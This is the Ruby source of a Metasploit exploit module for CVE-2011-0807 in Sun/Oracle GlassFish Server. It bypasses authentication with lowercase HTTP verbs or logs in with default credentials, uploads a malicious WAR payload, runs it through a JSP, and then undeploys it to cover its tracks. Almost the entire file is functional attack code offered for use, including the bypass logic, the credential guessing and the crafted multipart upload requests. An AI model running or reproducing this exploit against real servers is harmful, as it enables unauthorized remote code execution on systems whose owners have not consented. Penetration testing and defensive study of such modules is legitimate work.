##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
      'Description'    => %q{
          This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) 
        instance using a default credential, uploads, and executes commands via deploying
        a malicious WAR.  On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
        this module will try to bypass authentication instead by sending lowercase HTTP verbs.
      },
      'License'        => MSF_LICENSE,
      'Version'        => "$Revision: 13485 $",
      'Author'         =>
        [
          #Msf module for Glassfish 3.0
          'juan vazquez',
          #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
          'Joshua Abraham <jabra[at]rapid7.com>',
          #Rewrite for 3.0, 3.1 (Commercial or Open Source)
          'sinn3r',
        ],
      'References'     =>
        [
          ['CVE', '2011-0807'],
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [
            'Java Universal',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'java',
            },
          ],
          #
          # platform specific targets only
          #
          [
            'Windows Universal',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win',
            },
          ],
          #
          # platform specific targets only
          #
          [
            'Linux Universal',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux',
            },
          ],
        ],
      'DisclosureDate' => "Aug 4 2011",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(4848),
          OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
          OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
          OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
          OptString.new('PATH', [ true,  "The URI path of the GlassFish Server", '/'])
        ], self.class)
  end

  #
  # Send GET or POST request, and return the response
  #
  def send_request(path, method, session='', data=nil, ctype=nil)

    headers = {}
    headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
    headers['Content-Type'] = ctype if ctype != nil
    headers['Content-Length'] = data.length if data != nil

    res = send_request_raw({
      'uri'     => path,
      'method'  => method,
      'data'    => data,
      'headers' => headers,
    }, 90)

    #'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
    return res
  end

  #
  # Return target
  #
  def auto_target(session, res, version)
    print_status("Attempting to automatically select a target...")

    res = query_serverinfo(session,version)
    return nil if not res
    return nil if not res.body

    plat = detect_platform(res.body)
    arch = detect_arch(res.body)
    
    # No arch or platform found?
    return nil if (not arch or not plat)

    # see if we have a match
    targets.each do |t|
      return t if (t['Platform'] == plat) and (t['Arch'] == arch)
    end

    # no matching target found
    return nil
  end

  #
  # Return platform (win, linux, or osx)
  #
  def detect_platform(body)
    body.each_line do |ln|
      ln.chomp!
      case ln
      when /os\.name = (.*)/
        os = $1
        case os
        when /Windows/
          return 'win'
        when /Linux/
          return 'linux'
        when /Mac OS X/
          return 'osx'
        end
      end
    end

    return 'java'
  end

  #
  # Return ARCH
  #
  def detect_arch(body)
    body.each_line do |ln|
      ln.chomp!
      case ln
      when /os\.arch = (.*)/
        ar = $1
        case ar
        when 'x86', 'i386', 'i686'
          return ARCH_X86
        when 'x86_64', 'amd64'
          return ARCH_X86
        end
      end
    end
  end

  #
  # Return server information
  #
  def query_serverinfo(session,version)
    res = ''

    if version == '2.x' or version == '9.x'
      path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
      res = send_request(path, @verbs['GET'], session)
    else
      path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
      res = send_request(path, @verbs['GET'], session)

      if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
        path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
        res = send_request(path, @verbs['GET'], session)
      end
    end

    if (not res) or (res.code != 200)
      print_error("Failed: Error requesting #{path}")
      return nil
    end

    return res
  end

  #
  # Return viewstate and entry before deleting a GlassFish application
  #
  def get_delete_info(session, version, app='')
    if version == '2.x' or version == '9.x'
      path = '/applications/webApplications.jsf'
      res = send_request(path, @verbs['GET'], session)

      if (not res) or (res.code != 200)
        print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
        return nil
      end

      input_id = "javax.faces.ViewState"
      p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
      viewstate = res.body.scan(p)[0][0]

      entry = nil
      p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
      results = res.body.scan(p)

      results.each do |hit|
        if hit[1] =~ /^#{app}/
          entry = hit[0]
          entry << "col0:select"
        end
      end

    else
      path = '/common/applications/applications.jsf?bare=true'
      res = send_request(path, @verbs['GET'], session)

      if (not res) or (res.code != 200)
        print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
        return nil
      end

      input_id = "javax.faces.ViewState"
      p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
      viewstate = res.body.scan(p)[0][0]

      entry = nil
      p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
      results = res.body.scan(p)

      results.each do |hit|
        if hit[1] =~ /^#{app}/
          entry = hit[0]
          entry << "col0:select"
        end
      end
    end

    if (viewstate.nil?)
      print_error("Failed: Error getting ViewState")
      return nil
    elsif (entry.nil?)
      print_error("Failed: Error getting the entry to delete")
    end

    return viewstate, entry
  end

  #
  # Send an "undeploy" request to Glassfish and remove our backdoor
  #
  def undeploy(viewstate, session, entry)
    #Send undeployment request
    data  = [
    "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
    "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
    "&#{Rex::Text.uri_encode(entry)}=true",
    "&propertyForm%3AhelpKey=ref-applications.html",
    "&propertyForm_hidden=propertyForm_hidden",
    "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
    "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.partial.execute=%40all",
    "&javax.faces.partial.render=%40all",
    "&bare=true",
    "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.partial.ajax=true"
    ].join()

    path  = '/common/applications/applications.jsf'
    ctype = 'application/x-www-form-urlencoded'

    res   = send_request(path, @verbs['POST'], session, data, ctype)
    if (not res)
      print_error("Undeployment failed on #{path} - No Response")
     else
      if res.code < 200 or res.code >= 300
        print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
      end
    end
  end

  #
  # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
  # banner (ex: Sun Java System Application Server 9.x)
  #
  def get_version(res)
    #Extract banner from response
    banner = res.headers['Server']

    #Default value for edition and glassfish version
    edition = 'Commercial'
    version = 'Unknown'

    #Set edition (Open Source or Commercial)
    p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
    edition = 'Open Source' if banner =~ p

    #Set version.  Some GlassFish servers return banner "GlassFish v3".
    if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
      version = $2
    elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
      version = $1
    elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
      version = '2.x'
    elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
      version = '9.x'
    end

    if version == nil or version == 'Unknown'
      print_status("Unsupported version: #{banner}")
    end

    return edition, version, banner
  end

  #
    # Return the formatted version of the POST data
    #
    def format_2_x_war(boundary,name,value=nil, war=nil)
        data = ''

    data << boundary
    data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
    data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
    data << war
    data << "\r\n"

        return data
    end

  #
  # Return the formatted version of the POST data
  #
  def format(boundary,name,value=nil, war=nil)
    data = ''

    if war
      data << boundary
      data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
      data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
      data << war
      data << "\r\n"
    else
      data << boundary
      data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
      data << "\r\n\r\n"
      data << "#{value}\r\n"
    end

    return data
  end

  #
  # Return POST data and data length, based on GlassFish edition
  #
  def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
    data = ''

    if version == '3.0'

      uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadparam_data = "form:sheet1:section1:prop1:fileupload"

      boundary = "--#{boundary}"

      data = [
        format(boundary, app_base, nil, war),
        format(boundary, uploadParam_name, uploadparam_data),
        format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
        format(boundary, "form:sheet1:section1:prop1:action", "client"),
        format(boundary, typefield, "war"),
        format(boundary, "form:war:psection:cxp:ctx", app_base),
        format(boundary, "form:war:psection:nameProp:appName", app_base),
        format(boundary, "form:war:psection:vsProp:vs", ""),
        format(boundary, status_checkbox, "true"),
        format(boundary, "form:war:psection:librariesProp:library", ""),
        format(boundary, "form:war:psection:descriptionProp:description", ""),
        format(boundary, "form_hidden", "form_hidden"),
        format(boundary, "javax.faces.ViewState", viewstate),
        "#{boundary}--"
      ].join()
    elsif version == '2.x' or version == '9.x'

      uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"

      focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
      focusElementId_data = 'form:title:topButtons:uploadButton'

      boundary = "-----------------------------#{boundary}"

      data = [
        format_2_x_war(boundary, app_base, nil, war),
        format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
        format(boundary, "uploadRdBtn", "client"),
        format(boundary, uploadParam_name, uploadParam_data),
        format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
        format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
        format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
        format(boundary, "form:title:ps:psec:vsp:vs", ""),
        format(boundary, status_checkbox, "true"),
        format(boundary, "form:title:ps:psec:librariesProp:library", ""),
        format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
        format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
        format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
        format(boundary, "form:helpKey", "uploaddev.html"),
        format(boundary, "form_hidden", "form_hidden"),
        format(boundary, "javax.faces.ViewState", viewstate),
        format(boundary, focusElementId_name, focusElementId_data),
        "#{boundary}--"
      ].join()
    else

      boundary = "-----------------------------#{boundary}"

      #Setup dynamic arguments
      num1 = start.to_i
      num2 = num1 + 14
      num3 = num2 + 2
      num4 = num3 + 2
      num5 = num4 + 2
      num6 = num5 + 2
      num7 = num6 + 1

      id0 = num4
      id1 = num4 + 1
      id2 = num4 + 2
      id3 = num4 + 3
      id4 = num4 + 4
      id5 = num4 + 5
      id6 = num4 + 6
      id7 = num4 + 7
      id8 = num4 + 8
      id9 = num4 + 9

      uploadParam_name  = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadParam_value = "form:sheet1:section1:prop1:fileupload"

      focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
      focusElementId_data = "form:title2:bottomButtons:uploadButton"

      data = [
        format(boundary,"uploadRdBtn","client"),
        ## web service
        format(boundary, app_base, nil, war),
        ## sheet1
        format(boundary, uploadParam_name, uploadParam_value),
        format(boundary,"form:sheet1:section1:prop1:extension",".war"),
        format(boundary,"form:sheet1:section1:prop1:action","client"),
        format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
        format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
        format(boundary,"form:appClient:psection:descriptionProp:description"),
        ## war
        format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
        format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
        format(boundary,"form:war:psection:vsProp:vs"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
        format(boundary,"form:war:psection:librariesProp:library"),
        format(boundary,"form:war:psection:descriptionProp:description"),
        format(boundary,"form_hidden","form_hidden"),
        format(boundary,"javax.faces.ViewState","#{viewstate}"),
        format(boundary, focusElementId_name, focusElementId_data)
      ].join()

      item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
      item_list_data = "|server|com.sun.webui.jsf.separator|"

      item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
      item_value_data = "server"

      data << format(boundary, item_list_name, item_list_data)
      data << format(boundary, item_value_name, item_value_data)
      data << "#{boundary}--"
      data << "\r\n\r\n"

    end

    return data
  end

  #
  # Upload our payload, and execute it.  This function will also try to automatically
  # clean up after itself.
  #
  def upload_exec(session, app_base, jsp_name, target, war, edition, version)
    if version == '2.x' or version == '9.x'
      path = "/applications/upload.jsf?appType=webApp"
      res = send_request(path, @verbs['GET'], session)

      #Obtain some properties
      begin
        p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
        p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
        viewstate       = res.body.scan(p1)[0][0]
        status_checkbox = res.body.scan(p2)[0][0]
        boundary        = rand_text_alphanumeric(28)
      rescue
        print_error("Unable to gather required data for file upload")
        return
      end
    else
      path = "/common/applications/uploadFrame.jsf"
      res = send_request(path, @verbs['GET'], session)

      #Obtain some properties
      begin
        #start is only for dynamic arguments in POST data
        res.body =~ /propertySheetSection(\d{3})/
        start = $1
        p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
        p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
        p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/

        rnd_text = rand_text_alphanumeric(29)

        viewstate       = res.body.scan(p1)[0][0]
        typefield       = res.body.scan(p2)[0][0]
        status_checkbox = res.body.scan(p3)[0][0]
        boundary        = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
      rescue
        print_error("Unable to gather required data for file upload")
        return
      end
    end

    #Get upload data
    if version == '3.0'
      ctype = "multipart/form-data; boundary=#{boundary}"
    elsif version == '2.x' or version == '9.x'
      ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
            typefield = ''
            start = ''
    else
      ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
    end

    post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)

    #Upload our payload
    if version == '2.x' or version == '9.x'
      path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
    else
      path  = '/common/applications/uploadFrame.jsf?'
      path << 'form:title:topButtons:uploadButton=Processing...'
      path << '&bare=false'
    end
    res  = send_request(path, @verbs['POST'], session, post_data, ctype)

    #Print upload result
    if res and res.code == 302
      print_status("Successfully uploaded")
    else
      print_error("Error uploading #{res.code}")
      return
    end

    #Execute our payload using the application interface (no need to use auth bypass technique)
    jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
    nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      }
    )

    print_status("Executing #{jsp_path}...")
    req = nclient.request_raw({
      'uri'     => jsp_path,
      'method'  => 'GET',
    })

    if (req)
      res = nclient.send_recv(req, 90)
    else
      print_status("Error: #{rhost} did not respond on #{app_rport}.")
    end

    #Sleep for a bit before cleanup
    select(nil, nil, nil, 5)

    #Start undeploying
    print_status("Getting information to undeploy...")
    viewstate, entry = get_delete_info(session, version, app_base)
    if (not viewstate)
      raise RuntimeError, "Unable to get viewstate"
    elsif (not entry)
      raise RuntimeError, "Unable to get entry"
    end

    print_status("Undeploying #{app_base}...")
    undeploy(viewstate, session, entry)

    print_status("Undeployment complete.")
  end

  #
  # Try to login to Glassfish with a credential, and return the response
  #
  def try_login(user, pass)
    data  = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
    data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
    data << "loginButton=Login"

    path = '/j_security_check'
    res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')

    return res
  end

  def log_success(user,pass)
    print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
    report_auth_info(
      :host   => rhost,
      :port   => rport,
      :sname  => 'http',
      :user   => user,
      :pass   => pass,
      :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
      :active => true
    )
  end

  def try_default_glassfish_login(version)
    success = false
    session = ''
    res = ''
    if version == '2.x' or version == '9.x'
      user = 'admin'
      pass = 'adminadmin'

      print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
      res = try_login(user,pass)
      if res and res.code == 302
        session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
        res = send_request('/applications/upload.jsf', 'GET', session)

        p = /<title>Deploy Enterprise Applications\/Modules/
        if (res and res.code.to_i == 200 and res.body.match(p) != nil)
          success = true
        end
      end

    else
      user = 'admin'
      pass = ''

      print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
      res = try_login(user,pass)
      if res and res.code == 302
        session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
        res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)

        p = /<title>Deploy Applications or Modules/
        if (res and res.code.to_i == 200 and res.body.match(p) != nil)
          success = true
        end
            end
    end

    if success == true
      log_success(user,pass)
    else
      msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
      print_error(msg)
    end

    return success, res, session
  end

  def try_nondefault_glassfish_login(version,user,pass)

    print_status("Trying credential #{user}:'#{pass}'....")
    success = false
    session = ''

    res = try_login(user, pass)
    if version == '2.x' or version == '9.x'
      if res and res.code == 302
        session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
        res = send_request('/applications/upload.jsf', 'GET', session)

        p = /<title>Deploy Enterprise Applications\/Modules/
        if (res and res.code.to_i == 200 and res.body.match(p) != nil)
          success = true
                end
            end
    else
      if res and res.code == 302
        session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
        res = send_request('/common/index.jsf', 'GET', session)

        p = /<title>Deploy Applications or Modules/
        if (res and res.code.to_i == 200 and res.body.match(p) != nil)
          success = true
        end
      end
    end

    if success == true
      log_success(user,pass)
    else
      msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
      print_error(msg)
    end

    return success, res, session
  end


  def try_glassfish_auth_bypass(version)
    print_status("Trying GlassFish authentication bypass..")
    success = false

    if version == '2.x' or version == '9.x'
      res = send_request('/applications/upload.jsf', 'get')
      p = /<title>Deploy Enterprise Applications\/Modules/
      if (res and res.code.to_i == 200 and res.body.match(p) != nil)
        success = true
      end
    else
      # 3.0
      res = send_request('/common/applications/uploadFrame.jsf', 'get')
      p = /<title>Deploy Applications or Modules/
      if (res and res.code.to_i == 200 and res.body.match(p) != nil)
        success = true
      end
    end

    if success == true
      print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
      report_auth_info(
        :host   => rhost,
        :port   => rport,
        :sname  => 'http',
        :user   => '',
        :pass   => '',
        :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
        :active => true
      )
    else
      print_error("#{target_host()} - GlassFish - Failed authentication bypass")
    end

    return success
  end

  def target_host
    path        = datastore['PATH']
    target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
  end

  def exploit
    user        = datastore['USERNAME']
    pass        = datastore['PASSWORD']
    path        = datastore['PATH']
    target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
    success     = false
    session     = ''
    edition     = ''
    version     = ''

    #Invoke index to gather some info
    res = send_request('/common/index.jsf', 'GET')

    if res.code == 302
      res = send_request('/login.jsf', 'GET')
    end

    #Get GlassFish version
    edition, version, banner = get_version(res)
    print_status("Glassfish edition: #{banner}")

    #Get session
    res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
    session = $1

    #Set HTTP verbs.  lower-case is used to bypass auth on v3.0
    @verbs = {
      'GET'  => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
      'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
    }
    
    #auth bypass
    if version == '3.0' or version == '2.x' or version == '9.x'
      success = try_glassfish_auth_bypass(version)
    end

    #BUG caused us to skip default cred checks on sun applicaiton server 9.x 
    if success == false and version != '9.x'
      #default credentials
      success,res,session_login = try_default_glassfish_login(version)
      if success == false
        if (
          ( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') )  or 
          ( (version =~ /^3\./) and (user != 'admin' and pass != '') )
        )
          #non-default login
          success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
        end
      end
    end

    #Start attacking
    if success
      session = session_login if (session_login =~ /\w+/)
      #Set target
      mytarget = target
      mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
      raise RunTimeError, "Unable to automatically select a target" if (not mytarget)

      #Generate payload
      p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

      jsp_name = rand_text_alphanumeric(4+rand(32-4))
      app_base = rand_text_alphanumeric(4+rand(32-4))

      war = p.encoded_war({
        :app_name    => app_base,
        :jsp_name    => jsp_name,
        :arch        => mytarget.arch,
        :platform    => mytarget.platform
      }).to_s

      #Upload, execute, cleanup, winning
      print_status("Uploading payload...")
      res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
    else
      print_error("#{target_host()} - GlassFish - Failed to authenticate login")
    end

  end
end